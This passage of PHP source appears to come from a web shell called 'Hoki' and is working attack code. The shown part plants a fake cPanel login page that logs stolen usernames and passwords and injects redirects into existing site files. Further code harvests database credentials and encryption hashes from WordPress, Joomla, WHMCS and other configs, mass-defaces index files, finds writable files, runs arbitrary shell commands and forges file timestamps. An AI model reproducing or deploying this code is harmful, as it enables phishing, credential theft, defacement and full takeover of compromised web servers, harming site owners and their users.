$resp_code = 'if(empty($user)){http_response_code(400);echo json_encode(array("message" => "no_username"));}else{http_response_code(401);}';
if($panel != "cpanel"){
$post_user = 'username';
$post_pass = 'password';
$resp_code = '@header("Location: ".$_SERVER[\'HTTP_REFERER\']);';
}
$cpanel_log = '<?php $cook_time = time()+(86400 * 7); $user = $_POST["'.$post_user.'"];$pass = $_POST["'.$post_pass.'"];if(!empty($user) && !empty($pass)){if(!isset($_COOKIE["'.$cookie_name.'"])){@setcookie("'.$cookie_name.'", 0, $cook_time, "/");$_COOKIE["'.$cookie_name.'"]=1;}if((int)$_COOKIE["'.$cookie_name.'"]>'.$count.'){@header("Location: /");exit;}@setcookie("'.$cookie_name.'", ((int)$_COOKIE["'.$cookie_name.'"] + 1), $cook_time, "/");$fp = @fopen("'.$logto.'", "a+");@fwrite($fp, $user . " : " . $pass . "
");fclose($fp);sleep(3);'.$resp_code.'exit;}?>';
@file_put_contents($fake_root.'/log.php', $cpanel_log);
if($panel == "cpanel"){
$fake = preg_replace(array('#<link(.*)href="(.*)"(.*)>#', '#<img class="main-logo" src="(.*)"(.*)>#', '# <a(.*)id="reset_password">#'), array('<link href="'.$target.'/$2">', '<img class="main-logo" src="'.$target.'/$1" alt="logo" />', '<a href="#" id="reset_password">'), $fake);
}
@file_put_contents($fake_root.'/index.php', $fake);
$inject_code = '<?php if(isset($_GET[":2083"])&&(int)$_COOKIE["'.$cookie_name.'"]<'.$count.'){@include("'.$fake_root.'/index.php");exit;}?>';
$bind_on_code = '<?php if((int)$_COOKIE["'.$cookie_name.'"]<'.$count.'){@header("Location: '.$uri.'");exit;}?>';
@file_put_contents($inject_to, $inject_code . "
" .@file_get_contents($inject_to));
@file_put_contents($bind_on, $bind_on_code . "
" .@file_get_contents($bind_on));
echo "success...!";
}else{
echo "failed...!";
}
}else{
echo("<div style='text-align:center;color:red;'>Cannot open the target...!</div>");
}
}
echo '</div>';
hokifooter();
}
function hokiarchive_manager(){
hokihead();
$file = $_POST['hoki2'];
if(!file_exists($file)){
$file = $GLOBALS['cwd'];
}
$rand_id = rand(9999, 999999);
echo '<div class=header><center><p><div class="txtfont_header">| Archive Manager |</div></p>';
echo '<form name="srch" onSubmit="g(\'archive_manager\',null,null,this.file.value,null,null,\'>>\');return false;" method=\'post\'>
<div class="txtfont">
Archive file: <input size="50" id="target" type="text" name="file" value="'.$file.'">
<input type="submit" name="btn" value=" "></div></form></center><br>';
if($_POST['hoki5']=='>>'){
//echo __pre();
echo '<hr><div style="margin-left: 12px;" archive_full="phar://'.$file.'" archive_name="'.basename($file).'" id="archive_dir_'.$rand_id.'" class="archive_dir_holder"><span>PWD: </span><div class="archive_pwd_holder" style="display:inline-block"><a>/</a></div></div>';
echo '<div style="padding: 10px;" id="archive_base_'.$rand_id.'">';
__hoki_open_archive_file($file, $rand_id);
echo '</div>';
}
echo '</div>';
hokifooter();
}
function __hoki_open_archive_file($arch, $base_id=0){
try{
$files = array();
$dirs = array();
$archive = new PharData($arch);
foreach($archive as $file) {
$file_modify = @date('Y-m-d H:i:s', @filemtime($file->getPathname()));
if($file->isDir()) {
$dirs[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "dir", "modify" => $file_modify);
}else{
$file_size = @filesize($file->getPathname());
$files[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "file", "modify" => $file_modify, "size" => $file_size);
}
}
function __hoki_open_archive_usort($a, $b){
return strcmp(strtolower($a['name']), strtolower($b['name']))*1;
}
usort($dirs, "__hoki_open_archive_usort");
usort($files, "__hoki_open_archive_usort");
$files = array_merge($dirs, $files);
echo '<table width="100%" class="main" cellspacing="0" cellpadding="2"><tbody><tr><th>Name</th><th>Size</th><th>Modify</th><th>Actions</th></tr>';
$icon = '<img class="archive-icons" src="'.findicon('..','dir').'" width="30" height="30">';
echo '<tr><th><a base_id="'.$base_id.'" class="archive-file-row" fname=".." onclick="hokiOpenArchive(this);" path="'.dirname($arch.'.php').'">'.$icon.'<span class="archive-name archive-type-dir">| .. |</span></a><td>dir</td><td>-</td><td>-</td></tr>';
foreach($files as $file){
$icon = '<img class="archive-icons" src="'.findicon($file['name'],$file['type']).'" width="30" height="30">';
if($file["type"] == "dir"){
echo '<tr><th><a base_id="'.$base_id.'" class="archive-file-row" onclick="hokiOpenArchive(this);" path="'.$file["path"].'" fname="'.$file["name"].'">'.$icon.'<span class="archive-name archive-type-dir">| '.$file["name"].' |</span></a><td>dir</td><td>'.$file["modify"].'</td><td>-</td></tr>';
}else{
echo "<tr><th><a base_id='".$base_id."' class='archive-file-row' onclick=\"editor('".$file["path"]."','auto','','','','file');\">".$icon."<span class='archive-name archive-type-file' fname='".$file["name"]."'>".$file["name"]."</span></a><td>".hokiSize($file["size"])."</td><td>".$file["modify"]."</td><td>-</td></tr>";
}
}
echo '</table>';
}catch(Exception $e){
echo("0");
}
}
function hokiopen_archive_dir(){
$dir = $_POST["hoki1"];
$base_id = $_POST["hoki2"];
__hoki_open_archive_file($dir, $base_id);
}
function hokiconfig_grabber(){
hokihead();
echo '<div class=header><center><p><div class="txtfont_header">| Config Grabber |</div></p>';
echo '<form name="srch" onSubmit="g(\'config_grabber\',null,null,this.dir.value,this.ext.value,null,\'>>\');return false;" method=\'post\'>
<div class="txtfont">
Dir: <input size="50" id="target" type="text" name="dir" value="'.$GLOBALS['cwd'].'">
Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
<input type="submit" name="btn" value=" "></div></form></center><br>';
$dir = $_POST['hoki2'];
$ext = $_POST['hoki3'];
if($_POST['hoki5']=='>>'){
echo __pre();
Hoki_ConfigGrabber($dir, $ext);
}
echo '</div>';
hokifooter();
}
function Hoki_ConfigGrabber($dir, $ext) {
$pattern = "#define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,}|define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,}|config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")password(?:'|\")\]|(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")|(?:'|\")(mysql|database)(?:'|\")[ ]{0,}=>[ ]{0,}array|db_name|db_user|db_pass|db_server|db_host|dbhost|dbname|dbuser|dbpass|database_name|database_user|database_pass|mysql_user|mysql_pass|mysqli_connect|mysql_connect|new[ ]{0,}mysqli#i";
$db_files = array("wp-config.php","configure.php","config.inc.php","configuration.php","config.php","conf.php","dbclass.php","class_core.php","dist-configure.php", "settings.php", "conf_global.php", "db.php", "connect.php", "confing.db.php", "config.db.php", "database.php");
if(@is_readable($dir)){
$globFiles = @glob("$dir/*.$ext");
$globDirs = @glob("$dir/*", GLOB_ONLYDIR);
$blacklist = array();
foreach ($globDirs as $dir) {
if(!@is_readable($dir)||@is_link($dir)) continue;
@Hoki_ConfigGrabber($dir, $ext);
}
foreach ($globFiles as $file){
$filee = @file_get_contents($file);
if(preg_match($pattern, $filee)){
echo "<div><span>$file</span> <a style='cursor:pointer;' onclick=\"editor('".$file."','auto','','','','file');\">[ View file ]</a></div>";
}
}
}
}
function hokisearcher(){
hokihead();
echo '<div class=header><center><p><div class="txtfont_header">| Searcher |</div></p><h3><a href=javascript:void(0) onclick="g(\'searcher\',null,\'file\')">| Find Readable Or Writable Files | </a><a href=javascript:void(0) onclick="g(\'searcher\',null,\'str\')">| Find Files By Name | </a></h3></center>';
if(isset($_POST['hoki1'])&&$_POST['hoki1']=='file'){
echo '<center><div class="txtfont_header">| Find Readable Or Writable Files |</div><br><br><form name="srch" onSubmit="g(\'searcher\',null,\'file\',this.filename.value,this.ext.value,this.method.value,\'>>\');return false;" method=\'post\'>
<div class="txtfont">
Method: <select style="width: 18%;" onclick="hoki_searcher_tool(this.value);" name="method"><option value="files">Find All Writable Files</option><option value="dirs">Find All Writable Dirs</option><option value="all">Find All Readable And Writable Files</option></select>
Dir: <input size="50" id="target" type="text" name="filename" value="'.$GLOBALS['cwd'].'">
Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
<input type="submit" name="btn" value=" "></div></form></center><br>';
$dir = $_POST['hoki2'];
$ext = $_POST['hoki3'];
$method = $_POST['hoki4'];
if($_POST['hoki5']=='>>'){
echo __pre();
if(substr($dir,-1)=='/')$dir=substr($dir,0,-1);
Hoki_Searcher($dir,trim($ext),$method);
}
}
if($_POST['hoki1']=='str'){
echo '<center><div class="txtfont_header">| Find Files By Name / Find String In Files |</div><br><br><form onSubmit="g(\'searcher\',null,\'str\',this.dir.value,this.string.value,\'>>\',this.ext.value,this.method.value);return false;" method=\'post\'>
<div class="txtfont">
Method: <select name="method"><option value="name">Find Files By Name</option><option value="str">Find String In Files</option></select>
String: <input type="text" name="string" value="">
Dir: <input size="50" type="text" name="dir" value="'.$GLOBALS['cwd'].'">
Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
<input type="submit" name="btn" value=" "></div></form></center><br>';
$dir = $_POST['hoki2'];
$string = $_POST['hoki3'];
$ext = $_POST['hoki5'];
if(!empty($string) AND !empty($dir) AND $_POST['hoki4'] == '>>'){
echo __pre();
Hoki_StrSearcher($dir,$string,$ext,$_POST['hoki6']);
}
}
echo '</div>';
hokifooter();
}
function hokiMassDefacer(){
hokihead();
HokiNum(5,6,7,8,9,10);
echo "<div class=header><center><p><div class='txtfont_header'>| Mass Defacer |</div></p><form onSubmit=\"g('MassDefacer',null,this.massdir.value,this.defpage.value,this.method.value,'>>');return false;\" method='post'>";
echo '<div class="txtfont">Deface Method: <select name="method"><option value="index">Deface Index Dirs</option><option value="all">All Files</option></select>
Mass dir: <input size="50" id="target" type="text" name="massdir" value="'.htmlspecialchars($GLOBALS['cwd']).'">
DefPage: <input size="50" type="text" name="defpage" value="'.htmlspecialchars($GLOBALS['cwd']).'"></div> <input type="submit" name="btn" value=" "></center></p>
</form>';
$dir = $_POST['hoki1'];
$defpage = $_POST['hoki2'];
$method = $_POST['hoki3'];
$fCurrent = $GLOBALS['__file_path'];
if($_POST['hoki4'] == '>>'){
if(!empty($dir)){
if(@is_dir($dir)){
if(@is_readable($dir)){
if(@is_file($defpage)){
if($dh = @opendir($dir)){
echo __pre();
while (($file = @readdir($dh)) !== false){
if($file == '..' || $file == '.')continue;
$newfile=$dir.$file;
if($fCurrent == $newfile)continue;
if(@is_dir($newfile)){
Hoki_ReadDir($newfile,$method,$defpage);
}else{
if(!@is_writable($newfile))continue;
if(!@is_readable($newfile))continue;
Hoki_Rewriter($newfile,$file,$defpage,$method);
}
}
closedir($dh);
}else{__alert('<font color="red">Error In OpenDir...</font>');}
}else{__alert('<font color="red">DefPage File NotFound...</font>');}
}else{__alert('<font color="red">Directory is not Readable...</font>');}
}else{__alert('<font color="red">Mass Dir is Invalid Dir...</font>');}
}else{__alert('<font color="red">Dir is Empty...</font>');}
}
echo '</div>';
hokifooter();
}
function Hoki_ReadDir($dir,$method='',$defpage=''){
if(!@is_readable($dir)) return false;
if (@is_dir($dir)) {
if ($dh = @opendir($dir)) {
while(($file=readdir($dh))!==false) {
if($file == '..' || $file == '.')continue;
$newfile=$dir.'/'.$file;
if(@is_readable($newfile)&&@is_dir($newfile))Hoki_ReadDir($newfile,$method,$defpage);
if(@is_file($newfile)){
if(!@is_readable($newfile))continue;
Hoki_Rewriter($newfile,$file,$defpage,$method);
}
}
closedir($dh);
}
}
}
function Hoki_Rewriter($dir,$file,$defpage,$m='index'){
if(!@is_writable($dir)) return false;
if(!@is_readable($dir)) return false;
$defpage=@file_get_contents($defpage);
if($m == 'index'){
$indexs = array('index.php','index.htm','index.html','default.asp','default.aspx','index.asp','index.aspx','index.js');
if(in_array(strtolower($file),$indexs)){
@file_put_contents($dir,$defpage);
echo @is_file($dir)?$dir."<b><font color='red'>DeFaced...</b></font><br>" : '';
}
}elseif($m=='all'){
@file_put_contents($dir,$defpage);
echo @is_file($dir)?$dir." <b><font color='red'>DeFaced...</b></font><br>" : '';
}
}
function hokiGetDisFunc(){
hokihead();
echo '<div class="header">';
$disfun = @ini_get('disable_functions');
$s = explode(',',$disfun);
$f = array_unique($s);
echo '<center><br><b><font color="#7CFC00">Disable Functions</font></b><pre><table border="1"><tr><td align="center" style="background-color: green;color: white;width:5%">#</td><td align="center" style="background-color: green;color: white;">Func Name</td></tr>';
$i=1;
foreach($f as $s){
$s=trim($s);
if(function_exists($s)||!is_callable($s))continue;
echo '<tr><td align="center" style="background-color: black;">'.$i.'</td>';
echo '<td align="center" style="background-color: black;"><a style="text-decoration: none;" target="_blank" href="http://php.net/manual/en/function.'.str_replace('_','-',$s).'.php"><span class="disable_functions"><b>'.$s.'</b></span></a></td>';
$i++;
}
echo '</table></center>';
echo '</div>';
hokifooter();
}
function Hoki_Create_A_Tag($action,$vals){
$nulls = array();
foreach($vals as $key => $val){
echo '<a href=javascript:void(0) onclick="g(\''.$action.'\',';
for($i=1;$i<=$val[1]-1;$i++)$nulls[] = 'null';
$f = implode(',',$nulls);
echo $f.',\''.$val[0].'\');return false;">| '.$key.' | </a>';
unset($nulls);
}
}
function Hoki_Searcher($dir, $ext, $method) {
if(@is_readable($dir)){
if($method == 'all')$ext = '*';
if($method == 'dirs')$ext = '*';
$globFiles = @glob("$dir/*.$ext");
$globDirs = @glob("$dir/*", GLOB_ONLYDIR);
$blacklist = array();
foreach ($globDirs as $dir) {
if(!@is_readable($dir)||@is_link($dir)) continue;
@Hoki_Searcher($dir, $ext, $method);
}
switch($method){
case "files":
foreach ($globFiles as $file){
if(@is_writable($file)){
echo "$file<br>";
}
}
break;
case "dirs":
foreach ($globFiles as $file){
if(@is_writable(dirname($file)) && !in_array(dirname($file), $blacklist)){
echo dirname($file).'<br>';
$blacklist[] = dirname($file);
}
}
break;
case "all":
foreach ($globFiles as $file){
echo $file.'<br>';
}
break;
}
unset($blacklist);
}
}
function HokiiFrameCreator($f,$width='100%',$height='600px'){
return('<iframe src="'.__HOKI_DATA_FOLDER__."/".$f.'" width="'.$width.'" height="'.$height.'" frameborder="0"></iframe>');
}
class HokiCURL {
public $headers;
public $user_agent;
public $compression;
public $cookie_file;
public $proxy;
public $path;
public $ssl = true;
public $curl_status = true;
function __construct($cookies=false,$compression='gzip',$proxy=''){
if(!extension_loaded('curl')){$curl_status = false;return false;}
$this->headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg';
$this->headers[] = 'Connection: Keep-Alive';
$this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8';
$this->user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36)';
$this->path = HOKI_TEMPDIR.'/Hoki_cookies.txt';
$this->compression=$compression;
$this->proxy=$proxy;
$this->cookies=$cookies;
if($this->cookies)$this->cookie($this->path);
}
function cookie($cookie_file) {
if (_hoki_file_exists($cookie_file,false)) {
$this->cookie_file=$cookie_file;
}else{
@fopen($cookie_file,'w') or die($this->error('The cookie file could not be opened.'));
$this->cookie_file=$cookie_file;
@fclose($this->cookie_file);
}
}
function Send($url,$method="get",$data=""){
if(!$this->curl_status){return false;}
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
curl_setopt($process, CURLOPT_HEADER, 0);
curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_ENCODING , $this->compression);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
if($this->ssl){
curl_setopt($process, CURLOPT_SSL_VERIFYPEER ,false);
curl_setopt($process, CURLOPT_SSL_VERIFYHOST,false);
}
if($this->cookies){
curl_setopt($process, CURLOPT_COOKIEFILE, $this->path);
curl_setopt($process, CURLOPT_COOKIEJAR, $this->path);
}
if($this->proxy){
curl_setopt($process, CURLOPT_PROXY, $this->proxy);
}
if($method=='post'){
curl_setopt($process, CURLOPT_POSTFIELDS, $data);
curl_setopt($process, CURLOPT_POST, 1);
curl_setopt($process, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
}
$return = @curl_exec($process);
curl_close($process);
return $return;
}
function error($error) {
echo "<center><div style='width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px'><b>cURL Error</b><br>$error</div></center>";
die;
}
}
function getConfigHtml($cms){
$content = '';
$cms_array = array("wp" => "WordPress", "vb" => "vBulletin", "whmcs" => "Whmcs", "joomla" => "Joomla", "phpnuke" => "PHPNuke","phpbb"=>"PHPBB","mybb"=>"MyBB","drupal"=>"Drupal","smf"=>"SMF");
$content .= "<form class='getconfig' onSubmit='g(\"GetConfig\",null,this.cms.value,this.path.value,this.getAttribute(\"base_id\"));return false;'><div class='txtfont'>Cms: </div> <select name='cms'style='width:100px;'>";
foreach($cms_array as $key => $val){
$content .= "<option value='{$key}' ".($key==$cms?'selected=selected':'').">{$val}</option>";
}
$content .= "</select> <div class='txtfont'>Path(installed cms/Config): </div> <input type='text' name='path' value='".$_SERVER['DOCUMENT_ROOT']."/' size='30' /> <button class='button'>GetConfig</button>";
$content .= "</form>";
return $content;
}
if (!function_exists('json_encode')){
function json_encode($a=false){
if (is_null($a)) return 'null';
if ($a === false) return 'false';
if ($a === true) return 'true';
if (is_scalar($a))
{
if (is_float($a))
{
return floatval(str_replace(",", ".", strval($a)));
}
if (is_string($a))
{
static $jsonReplaces = array(array("\", "/", "
", " ", "
", "", "", '"'), array('\', '\/', '
', ' ', '
', '', '', '\"'));
return '"' . str_replace($jsonReplaces[0], $jsonReplaces[1], $a) . '"';
}
else
return $a;
}
$isList = true;
for ($i = 0, reset($a); $i < count($a); $i++, next($a))
{
if (key($a) !== $i)
{
$isList = false;
break;
}
}
$result = array();
if ($isList)
{
foreach ($a as $v) $result[] = json_encode($v);
return '[' . join(',', $result) . ']';
}
else
{
foreach ($a as $k => $v) $result[] = json_encode($k).':'.json_encode($v);
return '{' . join(',', $result) . '}';
}
}
}
if ( !function_exists('json_decode') ){
function json_decode($json, $array=true){
$comment = false;
$out = '$x=';
for ($i=0; $i<strlen($json); $i++)
{
if (!$comment)
{
if ($json[$i] == '{' || $json[$i] == '['){$out .= ' array(';}
else if ($json[$i] == '}' || $json[$i] == ']'){$out .= ')';}
else if ($json[$i] == ':'){$out .= '=>';}
else {$out .= $json[$i];}
}
else $out .= $json[$i];
if ($json[$i] == '"') $comment = !$comment;
}
eval($out . ';');
return $x;
}
}
function hokiterminalExec(){
$pwd = "pwd";
$seperator = ";";
if($GLOBALS['sys']!='unix'){
$pwd = "cd";
$seperator = "&";
}
if($GLOBALS["glob_chdir_false"]&&!empty($_POST["c"])){$cmd = "cd '".addslashes($_POST["c"])."'".$seperator;}
$current_path = '';
if(preg_match("/cd[ ]{0,}(.*)[ ]{0,}".$seperator."|cd[ ]{0,}(.*)[ ]{0,}/i", $_POST['hoki1'], $match)){
if(empty($match[1])){
$match[1] = $match[2];
}
$current_path = hokiEx("cd ".addslashes($match[1]).$seperator.$pwd);
$current_path = str_replace("\", "/", $current_path);
}
$out = hokiEx($cmd.$_POST['hoki1'], true);
$out = htmlspecialchars($out);
echo json_encode(array("output" => convertBash($out), "path" => $current_path));
}
function convertBash($code) {
$dictionary = array(
'[01;30m' => '<span style="color:black">',
'[01;31m' => '<span style="color:red">',
'[01;32m' => '<span style="color:green">',
'[01;33m' => '<span style="color:yellow">',
'[01;34m' => '<span style="color:blue">',
'[01;35m' => '<span style="color:purple">',
'[01;36m' => '<span style="color:cyan">',
'[01;37m' => '<span style="color:white">',
'[0m' => '</span>'
);
$htmlString = str_replace(array_keys($dictionary), $dictionary, $code);
return $htmlString;
}
function hokidoActions(){
$chdir_fals = false;
if(!@chdir($_POST['c'])){
$chdir_fals = true;
$hoki_canruncmd = _hoki_can_runCommand(true,true);
}
if(isset($_POST['hoki1']))$_POST['hoki1'] = rawurldecode($_POST['hoki1']);
if(isset($_POST['hoki2']))$_POST['hoki2'] = rawurldecode($_POST['hoki2']);
$action = $_POST["hoki3"];
if($action == "permission"){
$perms = 0;
$perm = $_POST["hoki2"];
for($i=strlen($perm)-1;$i>=0;--$i){
$perms += (int)$perm[$i]*pow(8, (strlen($perm)-$i-1));
}
if(@chmod($_POST['hoki1'], $perms)){
echo("done");
}else{
echo("no");
}
return;
}
if($action == "rename" || $action == "move"){
$hoki1_decoded = $_POST['hoki1'];
if($chdir_fals){
$_POST['hoki1'] = $_POST["c"]."/".$_POST["hoki1"];
}
$_POST['hoki1'] = trim($_POST['hoki1']);
$hoki1_escape = addslashes($_POST["hoki1"]);
if($_POST["hoki3"] == "rename"){
$_POST['hoki2'] = basename($_POST['hoki2']);
}
if(!empty($_POST['hoki2'])){
$cmd_rename = false;
if($chdir_fals&&$hoki_canruncmd){
if(_hoki_is_writable($_POST['hoki1'])){
$cmd_rename = true;
$hoki1_escape = addslashes($hoki1_decoded);
hokiEx("cd '".addslashes($_POST['c'])."';mv '".$hoki1_escape."' '".addslashes($_POST['hoki2'])."'");
}
}
if(!file_exists($_POST['hoki2'])){
if(@rename($_POST['hoki1'], $_POST['hoki2'])||$cmd_rename){
echo "done";
}else{
echo "no";
}
}else{
echo "no";
}
}
}elseif($action == "copy"){
if(is_dir($_POST["hoki1"])){
$dir = str_replace('//', '/', $_POST["hoki1"]);
$dir = explode('/', $dir);
if(empty($dir[count($dir) - 1])){
$name = $dir[count($dir) - 2];
}else{
$name = $dir[count($dir) - 1];
}
}else{
$name = basename($_POST["hoki1"]);
}
$dir = dirname($_POST["hoki1"]);
if($dir == "."){
$dir = $_POST["c"]."/";
}
if(is_file($_POST["hoki1"])){
@copy($_POST["hoki1"], $_POST["hoki2"]);
echo("done");
}elseif(is_dir($_POST["hoki1"])){
if(!is_dir($_POST["hoki2"])){
mkdir($_POST["hoki2"], 0755, true);
}
copy_paste($dir, $name , $_POST["hoki2"] . "/");
echo("done");
}
}elseif($action == "modify"){
if( !empty($_POST['hoki1']) ) {
$time = strtotime($_POST['hoki1']);
if($time){
$touched = false;
if($chdir_fals&&$hoki_canruncmd){
hokiEx("cd '".addslashes($_POST["c"])."';touch -d '".htmlspecialchars(addslashes($_POST['hoki1']))."' '".addslashes($_POST['hoki2'])."'");
$touched = true;
}
if(!@touch($_POST['hoki2'],$time,$time)&&!$touched){
echo 'no';
}else{
echo 'ok';
}
} else{
echo 'badtime';
}
}
}
}
function hokiget_flags(){
$flags = array();
if(function_exists("curl_version")){
$curl = new HokiCURL();
$server_addr = (!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER['SERVER_NAME']):'????'):@$_SERVER["SERVER_ADDR"]);
$flag = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $server_addr);
$flag2 = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $_SERVER["REMOTE_ADDR"]);
if(strpos($flag2, "geoplugin") != false){
$flag = json_decode($flag, true);
$flag2 = json_decode($flag2, true);
if(!empty($flag['geoplugin_countryCode'])){
$flags["server"]["name"] = $flag['geoplugin_countryName'];
$flags["server"]["code"] = $flag['geoplugin_countryCode'];
}
if(!empty($flag2['geoplugin_countryCode'])){
$flags["client"]["name"] = $flag2['geoplugin_countryName'];
$flags["client"]["code"] = $flag2['geoplugin_countryCode'];
}
}
}
echo json_encode($flags);
}
function hokiGetConfig(){
$cms = $_POST['hoki1'];
$path = trim($_POST['hoki2']);
$config = array(
'wp'=>array('file'=>'/wp-config.php',
'host'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbname'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_NAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbuser'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_USER(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbpw'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'prefix'=>array("/table_prefix[ ]{0,}=[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,};/",1)
),
'drupal'=>array('file'=>'/config.php',
'host'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbname'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_DATABASE(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbuser'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_USERNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbpw'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'prefix'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PREFIX(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1)
),
'drupal2'=>array('file'=>'/sites/default/settings.php',
'host'=>array("/(?:'|\")host(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
'dbname'=>array("/(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
'dbuser'=>array("/(?:'|\")username(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
'dbpw'=>array("/(?:'|\")password(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
'prefix'=>array("/(?:'|\")prefix(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1)
),
'vb'=>array('file'=>'/includes/config.php',
'host'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")servername(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
'dbuser'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")username(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
'dbname'=>array("/config\[(?:'|\")Database(?:'|\")\]\[(?:'|\")dbname(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
'dbpw'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")password(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
'prefix'=>array("/config\[(?:'|\")Database(?:'|\")\]\[(?:'|\")tableprefix(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3)
),
'phpnuke'=>array('file'=>'/config.php',
'host'=>array('/dbhost(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
'dbname'=>array('/dbname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
'dbuser'=>array('/dbuname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
'dbpw'=>array('/dbpass(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
'prefix'=>array('/prefix(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3)
),
'smf'=>array('file'=>'/Settings.php',
'host'=>array("/db_server(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/db_user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/db_passwd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'prefix'=>array("/db_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
),
'whmcs'=>array('file'=>'/configuration.php',
'host'=>array("/db_host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/db_username(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/db_password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'cc_encryption_hash'=>array("/cc_encryption_hash(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
),
'joomla'=>array('file'=>'/configuration.php',
'host'=>array("/\$host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/\$db(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/\$user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/\$password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
